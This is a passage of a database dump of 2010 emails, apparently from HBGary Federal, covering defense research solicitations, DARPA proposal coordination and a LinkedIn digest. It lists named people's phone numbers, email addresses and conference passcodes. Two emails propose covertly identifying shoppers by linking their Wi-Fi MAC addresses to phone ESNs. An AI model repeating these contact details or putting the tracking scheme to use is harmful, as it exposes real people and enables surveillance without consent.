(stanley.chincheck@nrl.navy.mil)\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCheck FBO or ONR web site for FAQ, I-Day briefs:&nbsp; https://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=654fe7878fb7eb85bd521f55e4e6d26c&amp;tab=core&amp;_cview=1\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nOverview:\r\n\r\no&nbsp;&nbsp;\r\nShift from a systems view to enterprise view\r\n\r\no&nbsp;&nbsp;\r\nFocused on nation-state threats and exfiltration\r\nof S&amp;T data; going after serious &#8220;stuff&#8221;, not &#8220;script kiddies&#8221;\r\n\r\no&nbsp;&nbsp;\r\nHolistic approach to CND &#8211; not IAVA compliance\r\n\r\no&nbsp;&nbsp;\r\nNew paradigm to network management &#8211; wipe slate\r\nclean and start over- not traditional patch management, virus scanning, etc.\r\n\r\no&nbsp;&nbsp;\r\nNot interested in automation of today&#8217;s\r\ncurrently available technologies; however understands the need to work with\r\nthem\r\n\r\no&nbsp;&nbsp;\r\nPrefers COTS/GOTS\r\n\r\no&nbsp;&nbsp;\r\nLooking for algorithms, sensors, gateways,\r\nsecurity protocols for the CODSS solution\r\n\r\no&nbsp;&nbsp;\r\nWants to bring a number of awarded contractors\r\ntogether to mesh enabling technologies into the CODSS solution\r\n\r\no&nbsp;&nbsp;\r\nNot necessarily looking for the entire solution,\r\nbut is willing to entertain different approaches to the decision support system\r\nsolution\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAlgorithms:\r\n\r\no&nbsp;&nbsp;\r\nLooking for algorithms that can handle large\r\namounts of data\r\n\r\no&nbsp;&nbsp;\r\nMust be able to mine data that support the\r\ncorrelation and fusion of large-scale complex data sets \r\n\r\no&nbsp;&nbsp;\r\nAutomated decision aides must provide flexible\r\nthresholds for automated network-based responses (without operator\r\nintervention); should recommend COAs and isolate assets\r\n\r\no&nbsp;&nbsp;\r\nSupport attribution (non-cooperative) to the\r\nsource- geo-location is highly desired\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSensors and Gateways:\r\n\r\no&nbsp;&nbsp;\r\nComponents located throughout the network to ensure\r\nnetwork awareness by providing information regarding network traffic back to\r\nthe decision support system (CODSS= Common Operational Decision Support\r\nSystem).\r\n\r\no&nbsp;&nbsp;\r\nInformation flows from sensors to gateways to\r\nCODSS\r\n\r\no&nbsp;&nbsp;\r\nCODSS aggregates, correlates, fuses and visualizes\r\nnetwork security posture information\r\n\r\no&nbsp;&nbsp;\r\nCODSS makes decisions (automated is preferred,\r\nhowever, the expectation is that complex decisions will require\r\nman-in-the-loop)\r\n\r\no&nbsp;&nbsp;\r\nSensors should have the capability to collect\r\nand block (mitigate) based on CODSS decisions\r\n\r\no&nbsp;&nbsp;\r\nSystem should be scalable without\r\n&#8220;one-size-fits-all&#8221;; systems can be different depending on mission, location,\r\netc.\r\n\r\no&nbsp;&nbsp;\r\nNot to be deployed on tactical networks; focused\r\non theater execution; airborne/shipborne CODSS\r\n\r\n§&nbsp; Example:\r\nvulnerability of ships network during inchop &nbsp;due to incompatibility with\r\ntheater networks\r\n\r\no&nbsp;&nbsp;\r\nFocused on NMCI, IT21, Integrated Shipboard\r\nApplications, ONE NET\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSecurity-Enabled Protocols:\r\n\r\no&nbsp;&nbsp;\r\nHardened, dynamic and security-enabled network communications,\r\ndata and control protocols to ensure data delivery \r\n\r\no&nbsp;&nbsp;\r\nProvide the underlying connection to\r\nmission-critical network components (sensors, gateways and CODSS) \r\n\r\no&nbsp;&nbsp;\r\nNeed to support communication and security\r\nservices for movement of data and asset management\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nOther Notes:\r\n\r\no&nbsp;&nbsp;\r\nDeploy TTPs on the fly, reprogrammable\r\n\r\no&nbsp;&nbsp;\r\nUser automated response capable\r\n\r\no&nbsp;&nbsp;\r\nSupport non-cooperative attribution\r\n\r\no&nbsp;&nbsp;\r\nProactive = not just defend, but also, respond\r\nto threat vector\r\n\r\no&nbsp;&nbsp;\r\nNo C&amp;A &#8211; not a big fan; question on the\r\ndirection of future C&amp;A efforts\r\n\r\no&nbsp;&nbsp;\r\nGlobal scale\r\n\r\no&nbsp;&nbsp;\r\nNear/real-time awareness, mitigation (and\r\nresponse(?))\r\n\r\no&nbsp;&nbsp;\r\nNeed to discover and address what we do not\r\nknow about the threat\r\n\r\no&nbsp;&nbsp;\r\nCharacterize malware that we haven&#8217;t seen\r\n\r\no&nbsp;&nbsp;\r\nAdjust discovery and response thresholds by\r\nnetwork\r\n\r\no&nbsp;&nbsp;\r\nHuman interaction for complex decisions that the\r\nCODSS will be incapable of handling\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAward Summary:\r\n\r\no&nbsp;&nbsp;\r\n$16M total over 5 years; multiple (5) IDIQ\r\ncontracts\r\n\r\no&nbsp;&nbsp;\r\nPhase 1 (6 months), Phase II (54 months)\r\n\r\no&nbsp;&nbsp;\r\nWhite papers due March 15th\r\n\r\no&nbsp;&nbsp;\r\nEvals completed April 11th\r\n\r\no&nbsp;&nbsp;\r\nProposals due May 21st\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12422,'aaron_hbgary_com/12422.html'),(3077,'2010-02-25','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001454.M251056P3547Q3078.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Akey, Mark L.\" <mark.akey@ngc.com>,\"Dunkelberger, Kirk A.\" <kirk.dunkelberger@ngc.com>','DARPA BAA response coordination','\r\n\r\n\r\n\r\n\r\nDARPA BAA response coordination\r\n\r\n\r\n\r\n\r\nOk guys.&nbsp; We got less than two weeks to get this done.&nbsp; What do your schedule look like tomorrow and Friday to discuss the complete plan?\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',11517,'aaron_hbgary_com/11517.html'),(3078,'2010-02-25','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001454.M43982P3547Q3077.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: One cnd','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nNot sure what you mean by that.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 24, 2010 10:49 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: One cnd\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDoesn\'t the sap for secure enabled protocols fit?\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 24, 2010, at 10:42 AM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHuh????&nbsp; Where r u?&nbsp; Newsroom?\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Wed Feb 24 09:29:20 2010\r\nSubject: One cnd\r\n\r\nYou should have been here.&nbsp; We newsroom go after this.&nbsp; HBGary +\r\nfidelis + ig + ?\r\n\r\nAaron\r\n\r\n&nbsp;From my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15630,'aaron_hbgary_com/15630.html'),(3079,'2010-02-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001454.M441706P3547Q3079.eml','\"Barr Aaron\" <aaron@hbgary.com>','idea','I just had an idea.\r\n\r\nWhat if businesses used a combination of wireless access points and\r\ncell-phone repeaters (ie - a femtocell or the \"carrier in a box\" from\r\nRobin) to help customers with the normal stuff:\r\n\r\nProximity targeted advertising\r\nReal-time blue-light special type sales\r\nPrice checks\r\nFinding what you need, directing you to the specific aisle\r\n\r\nIn addition, the information gathered could be used to generate\r\nvaluable demographics like how frequently individual customers come to\r\ntheir stores (enumerated by ESNs), which stores, how long they stay,\r\nwhich aisles they frequent, how they navigate the store, do they use a\r\ncashier or self checkout, it could also be used for loss prevention,\r\ngenerate a map of the store with the humans carrying cell phones\r\nplotted on the map id\'d by their ESN number.\r\n\r\nThe wifi / cell combination allows some pretty neat things....\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',6935,'aaron_hbgary_com/6935.html'),(3080,'2010-02-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001454.M639399P3547Q3080.eml','\"Barr Aaron\" <aaron@hbgary.com>','idea','Another thought...\r\n\r\nWhen you walk into Safeway and open Safari from your iphone you\r\nconnect to their wifi (most / all safeways have free wifi now) this\r\ngives them your mac address.  If you have a safeway card, or login,\r\nthey get your name.  Using my idea from before, if they had a combo\r\nWAP / and femtocell, they could associate your mac address to your\r\ncell phone\'s ESN.  From then on, if you ever walk into their store\r\nwith your phone in your pocket (no need to open Safari or have wifi\r\nturned on) they can tell that it\'s you...\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',12585,'aaron_hbgary_com/12585.html'),(3081,'2010-02-25','\"LinkedIn Updates\" <updates@linkedin.com>','/aaron@hbgary.com/new/1297001454.M851988P3547Q3081.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Network Updates, 2/25/2010','\r\n\r\n  \r\n\r\n\r\n  \r\n    LinkedIn Network Updates\r\n    Feb 18 - Feb 25\r\n  \r\n  \r\n    FEATURED UPDATES\r\n    See more updates &#187;\r\n  \r\n  \r\n    \r\n    \r\n    PROFILE\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n                        Albert Pisani is now VP Intelligence Operations at TASC\r\n                  Send note &#187;\r\n            \r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                   Chris Collins has an updated profile (Experience)\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                   Leland Vulcan has an updated profile (Headline)\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    CONNECTIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Katherine Green\r\n    is now connected to\r\n        Andrew Foote\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Dwight Yamada\r\n    is now connected to\r\n        Michael Edwards\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Jeff Kubik, PMP, CISSP\r\nis now connected to\r\n            Michael Wee\r\n,             Erik Rennenkampf\r\n,             Bassam Khulusi\r\n,       and 2 other people.\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    STATUS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Michael Toth\r\n      Camera system &amp; LED\'s set up &amp; operational, w/ initial images taken of first leaf of Syriac Palimpsest -- just 223 more images to go!  #apal\r\n  Add a comment &#187;\r\n  \r\n              \r\n            \r\n            \r\n              \r\n\r\n  Chris Collins\r\n      great article 5 social media content tips http://bit.ly/dhvTiq\r\n  Add a comment &#187;\r\n  \r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    GROUPS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n    Kevin Halemartin has joined\r\n    Jobs In Colorado\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Brandon Colston has joined\r\n    Balsamiq Lovers\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Bill Hornish has joined\r\n    Federal Sales Professionals Group\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    PHOTOS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n  Bill Hornish has uploaded a new profile picture\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n  Leland Vulcan has uploaded a new profile picture\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    RECOMMENDATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n      Chris Collins was recommended by\r\ncolleague      Terrence Cummings\r\n        Chris has an incredible mix of technical and business expertise.  He is able to understand client ne...\r\n        Read more\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Steve Winterfeld recommends\r\ncolleague      Kristie Ford\r\n          Director of Contracts Administration at Doss Aviation, Inc\r\n        Kristie got all tasks done on time and without errors - a great team player.\r\n        Read more\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n  \r\n  \r\n      \r\n      See more updates &#187;\r\n    \r\n  \r\n  \r\n    \r\n\r\n\r\n  \r\n    \r\n      \r\n      \r\n      Don\'t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.\r\n      &copy; 2010, LinkedIn Corporation\r\n    \r\n  \r\n    \r\n  \r\n\r\n\r\n',5478,'aaron_hbgary_com/5478.html'),(3082,'2010-02-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001455.M53229P3547Q3082.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: ONR Computer Network Defense Industry Day Notes','YepFrom my iPhoneOn Feb 25, 2010, at 12:40 AM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nIs this what you heard today?\r\n\r\n \r\n\r\nONR BAA 10-004 Computer Network Defense/IA Enabling\r\nConcepts Industry Day\r\n\r\n-         \r\nPOC: Stanley Chincheck (stanley.chincheck@nrl.navy.mil)\r\n\r\n-         \r\nCheck FBO or ONR web site for FAQ, I-Day briefs:  https://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=654fe7878fb7eb85bd521f55e4e6d26c&amp;tab=core&amp;_cview=1\r\n\r\n\r\n-         \r\nOverview:\r\n\r\no  \r\nShift from a systems view to enterprise view\r\n\r\no  \r\nFocused on nation-state threats and exfiltration\r\nof S&amp;T data; going after serious “stuff”, not “script kiddies”\r\n\r\no  \r\nHolistic approach to CND – not IAVA compliance\r\n\r\no  \r\nNew paradigm to network management – wipe slate\r\nclean and start over- not traditional patch management, virus scanning, etc.\r\n\r\no  \r\nNot interested in automation of today’s\r\ncurrently available technologies; however understands the need to work with\r\nthem\r\n\r\no  \r\nPrefers COTS/GOTS\r\n\r\no  \r\nLooking for algorithms, sensors, gateways,\r\nsecurity protocols for the CODSS solution\r\n\r\no  \r\nWants to bring a number of awarded contractors\r\ntogether to mesh enabling technologies into the CODSS solution\r\n\r\no  \r\nNot necessarily looking for the entire solution,\r\nbut is willing to entertain different approaches to the decision support system\r\nsolution\r\n\r\n-         \r\nAlgorithms:\r\n\r\no  \r\nLooking for algorithms that can handle large\r\namounts of data\r\n\r\no  \r\nMust be able to mine data that support the\r\ncorrelation and fusion of large-scale complex data sets \r\n\r\no  \r\nAutomated decision aides must provide flexible\r\nthresholds for automated network-based responses (without operator\r\nintervention); should recommend COAs and isolate assets\r\n\r\no  \r\nSupport attribution (non-cooperative) to the\r\nsource- geo-location is highly desired\r\n\r\n-         \r\nSensors and Gateways:\r\n\r\no  \r\nComponents located throughout the network to ensure\r\nnetwork awareness by providing information regarding network traffic back to\r\nthe decision support system (CODSS= Common Operational Decision Support\r\nSystem).\r\n\r\no  \r\nInformation flows from sensors to gateways to\r\nCODSS\r\n\r\no  \r\nCODSS aggregates, correlates, fuses and visualizes\r\nnetwork security posture information\r\n\r\no  \r\nCODSS makes decisions (automated is preferred,\r\nhowever, the expectation is that complex decisions will require\r\nman-in-the-loop)\r\n\r\no  \r\nSensors should have the capability to collect\r\nand block (mitigate) based on CODSS decisions\r\n\r\no  \r\nSystem should be scalable without\r\n“one-size-fits-all”; systems can be different depending on mission, location,\r\netc.\r\n\r\no  \r\nNot to be deployed on tactical networks; focused\r\non theater execution; airborne/shipborne CODSS\r\n\r\n§  Example:\r\nvulnerability of ships network during inchop  due to incompatibility with\r\ntheater networks\r\n\r\no  \r\nFocused on NMCI, IT21, Integrated Shipboard\r\nApplications, ONE NET\r\n\r\n-         \r\nSecurity-Enabled Protocols:\r\n\r\no  \r\nHardened, dynamic and security-enabled network communications,\r\ndata and control protocols to ensure data delivery \r\n\r\no  \r\nProvide the underlying connection to\r\nmission-critical network components (sensors, gateways and CODSS) \r\n\r\no  \r\nNeed to support communication and security\r\nservices for movement of data and asset management\r\n\r\n-         \r\nOther Notes:\r\n\r\no  \r\nDeploy TTPs on the fly, reprogrammable\r\n\r\no  \r\nUser automated response capable\r\n\r\no  \r\nSupport non-cooperative attribution\r\n\r\no  \r\nProactive = not just defend, but also, respond\r\nto threat vector\r\n\r\no  \r\nNo C&amp;A – not a big fan; question on the\r\ndirection of future C&amp;A efforts\r\n\r\no  \r\nGlobal scale\r\n\r\no  \r\nNear/real-time awareness, mitigation (and\r\nresponse(?))\r\n\r\no  \r\nNeed to discover and address what we do not\r\nknow about the threat\r\n\r\no  \r\nCharacterize malware that we haven’t seen\r\n\r\no  \r\nAdjust discovery and response thresholds by\r\nnetwork\r\n\r\no  \r\nHuman interaction for complex decisions that the\r\nCODSS will be incapable of handling\r\n\r\n-         \r\nAward Summary:\r\n\r\no  \r\n$16M total over 5 years; multiple (5) IDIQ\r\ncontracts\r\n\r\no  \r\nPhase 1 (6 months), Phase II (54 months)\r\n\r\no  \r\nWhite papers due March 15th\r\n\r\no  \r\nEvals completed April 11th\r\n\r\no  \r\nProposals due May 21st\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3540,'aaron_hbgary_com/3540.html'),(3083,'2010-02-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001455.M616746P3547Q3083.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: DARPA BAA response coordination','I need u to talk to gd first if that is ok.AaronFrom my iPhoneOn Feb 25, 2010, at 1:24 AM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nOk guys.  We got less than two weeks to get this done.  What do your schedule look like tomorrow and Friday to discuss the complete plan?\r\n\r\n\r\nBrian Masterson\r\n\r\nNorthrop Grumman/Xetron\r\n\r\nChief Technology Officer, IO Programs\r\n\r\nPh: 513-881-3591\r\n\r\nCell: 513-706-4848\r\n\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',498,'aaron_hbgary_com/498.html'),(3084,'2010-02-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001455.M885735P3547Q3084.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: One cnd','I meant the SSP.On Feb 25, 2010, at 1:01 AM, Masterson, Brian (Xetron) wrote:Not sure what you mean by that.&nbsp;Brian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, IO Programs&nbsp;Ph: 513-881-3591&nbsp;Cell: 513-706-4848&nbsp;Fax: 513-881-3877&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, February 24, 2010 10:49 AMTo:&nbsp;Masterson, Brian (Xetron)Subject:&nbsp;Re: One cnd&nbsp;Doesn\'t the sap for secure enabled protocols fit?From my iPhoneOn Feb 24, 2010, at 10:42 AM, \"Masterson, Brian (Xetron)\" &lt;Brian.Masterson@ngc.com&gt; wrote:Huh????&nbsp; Where r u?&nbsp; Newsroom?----- Original Message -----From: Aaron Barr &lt;aaron@hbgary.com&gt;To: Masterson, Brian (Xetron)Sent: Wed Feb 24 09:29:20 2010Subject: One cndYou should have been here.&nbsp; We newsroom go after this.&nbsp; HBGary +fidelis + ig + ?Aaron&nbsp;From my iPhone\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12225,'aaron_hbgary_com/12225.html'),(3085,'2010-02-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001456.M132132P3547Q3085.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>,\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>,','Re: DARPA BAA response coordination','I have a few meetings but fairly open.On Feb 25, 2010, at 1:24 AM, Masterson, Brian (Xetron) wrote:\r\n\r\nOk guys.&nbsp; We got less than two weeks to get this done.&nbsp; What do your schedule look like tomorrow and Friday to discuss the complete plan?Brian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4705,'aaron_hbgary_com/4705.html'),(3086,'2010-02-25','\"Akey, Mark L.\" <mark.akey@ngc.com>','/aaron@hbgary.com/new/1297001456.M360764P3547Q3086.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>,\"Dunkelberger, Kirk A.\" <kirk.dunkelberger@ngc.com>,aaron@hbgary.com','DARPA BAA Response Coordination','\r\n\r\n\r\n\r\n\r\nDARPA BAA Response Coordination\r\n\r\n\r\n\r\n\r\nWhen: Thursday, February 25, 2010 11:00 AM-12:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: Teleconference: 866.740.2200 / Passcode: 2432510\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nCandidate date/time for coordination of our DARPA Cyber Genome responses.\r\n\r\n__________________________________________\r\nTeleconference: 866.740.2200 / Passcode: 2432510\r\n__________________________________________\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5119,'aaron_hbgary_com/5119.html'),(3087,'2010-02-25','\"Akey, Mark L.\" <mark.akey@ngc.com>','/aaron@hbgary.com/new/1297001456.M632497P3547Q3087.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: DARPA BAA response coordination','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nGive me a call at my office number (260.435.4678) when you get a\r\nchance this morning &#8211; I&#8217;m here now.&nbsp; How bad did VanPutte beat\r\nup NGIS?\r\n\r\n&nbsp;\r\n\r\nThanks!\r\n\r\n\r\n\r\nMark\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n______________________________________ \r\nDr. Mark Akey \r\nNorthrop Grumman Electronic Systems\r\nAdvanced Concepts &amp; Technologies Division\r\nManager, Multi-INT Exploitation\r\nOffice: 260.435.4678 \r\nCell: 260.437.9875 \r\nFax:&nbsp;410.981.5803 \r\nmark.akey@ngc.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, February 25, 2010 6:03 AM\r\nTo: Masterson, Brian (Xetron)\r\nCc: Akey, Mark L.; Dunkelberger, Kirk A.\r\nSubject: Re: DARPA BAA response coordination\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI have a few meetings but fairly open.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 25, 2010, at 1:24 AM, Masterson, Brian (Xetron)\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOk guys.&nbsp; We got less\r\nthan two weeks to get this done.&nbsp; What do your schedule look like tomorrow and\r\nFriday to discuss the complete plan?\r\n\r\nBrian\r\nMasterson\r\nNorthrop\r\nGrumman/Xetron\r\nChief\r\nTechnology Officer, IO Programs\r\nPh:\r\n513-881-3591\r\nCell:\r\n513-706-4848\r\nFax:\r\n513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16517,'aaron_hbgary_com/16517.html'),(3088,'2010-02-25','\"Pisani, Albert A.\" <albert.pisani@TASC.COM>','/aaron@hbgary.com/new/1297001457.M280952P3547Q3089.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Clair, Chris (TASC Inc)\" <CHRISTOPHER.CLAIR@tasc.com>,\"Garcia, Kathy (TASC Inc)\" <KATHERINE.GARCIA@tasc.com>,\"Heider, Raymond A (TASC Inc)\" <raymond.heider@TASC.COM>,\"Hill, Lawrence C (TASC Inc)\" <lawrence.hill@TASC.COM>,\"Lovegrove, John (TASC Inc)\" <John.Lovegrove@tasc.com>,\"Brunst Jr, Gerald R (TASC Inc)\" <GERALD.BRUNSTJR@tasc.com>','COIN follow up','\r\n\r\n\r\n\r\n\r\nCOIN follow up\r\n\r\n\r\n\r\n\r\nWhen: Thursday, February 25, 2010 12:00 PM-1:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: WF4 -- Executive Conference Room and Teleconference: 866.740.2200, x4182684#\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nUpdated &#8211; 2/25/10\r\n\r\nAttendance list updated: Jerry Brunst\r\n\r\nLunch will be provided\r\n\r\n------------------------\r\n\r\nMeeting time: 12:00-1:00 pm EST\r\n\r\n\r\n\r\nTelcon info: \r\n\r\n866.740.2200, x4182684#\r\n\r\n\r\n\r\n\r\n',7713,'aaron_hbgary_com/7713.html'),(3089,'2010-02-25','\"Akey, Mark L.\" <mark.akey@ngc.com>','/aaron@hbgary.com/new/1297001457.M30021P3547Q3088.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: DARPA Cyber Genome BAA','\r\n\r\n\r\n\r\n\r\nFW: DARPA Cyber Genome BAA\r\n\r\n\r\n\r\n\r\nFYI\r\n\r\n______________________________________\r\nDr. Mark Akey\r\nNorthrop Grumman Electronic Systems\r\nAdvanced Concepts &amp; Technologies Division\r\nManager, Multi-INT Exploitation\r\nOffice: 260.435.4678\r\nCell: 260.437.9875\r\nFax: 410.981.5803\r\nmark.akey@ngc.com\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Akey, Mark L.\r\nSent: Wednesday, February 24, 2010 7:48 AM\r\nTo: Schuman, Kyle D.; Hakenson, Kurt E (IT Solutions)\r\nSubject: FW: DARPA Cyber Genome BAA\r\n\r\n\r\n\r\nKyle/Kurt:\r\n\r\nSome thoughts below on our response(s) to DARPA Cyber Genome and ONR CND/IA BAAs.&nbsp; Give me your thoughts, thanks!\r\n\r\nMark\r\n\r\n______________________________________\r\nDr. Mark Akey\r\nNorthrop Grumman Electronic Systems\r\nAdvanced Concepts &amp; Technologies Division\r\nManager, Multi-INT Exploitation\r\nOffice: 260.435.4678\r\nCell: 260.437.9875\r\nFax: 410.981.5803\r\nmark.akey@ngc.com\r\n\r\n\r\n\r\n_____________________________________________\r\nFrom: Akey, Mark L.\r\nSent: Wednesday, February 24, 2010 7:43 AM\r\nTo: Dunkelberger, Kirk A.\r\nSubject: RE: DARPA Cyber Genome BAA\r\n\r\n\r\n\r\nOK &#8211; Topic 1 sounds doable, but I&#8217;m not sure I can help with the writing since I don&#8217;t have the specifics of your SABRE work, etc.\r\n\r\nHere&#8217;s what I was thinking for Topic 2:\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Baselining user and enterprise activity provides a very good backdrop to detect malicious behavior.\r\n\r\nThus:\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A digital artifact does not need to be malicious &#8211; it can represent a normal file such as an email.\r\n\r\nSo we could:\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Map email and attachments into categories (intra-mail) on a single mail client, i.e., for a single user.&nbsp; (Similarity in email topics for each person)\r\n\r\nand\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Map email and attachments into categories (inter-mail) on a mail server, i.e., for an enterprise.&nbsp; (Similarity in &#8220;users&#8221; for an enterprise)\r\n\r\n\r\n\r\nFrom an assertion perspective:\r\n\r\nTopics of Discourse (TOD) over 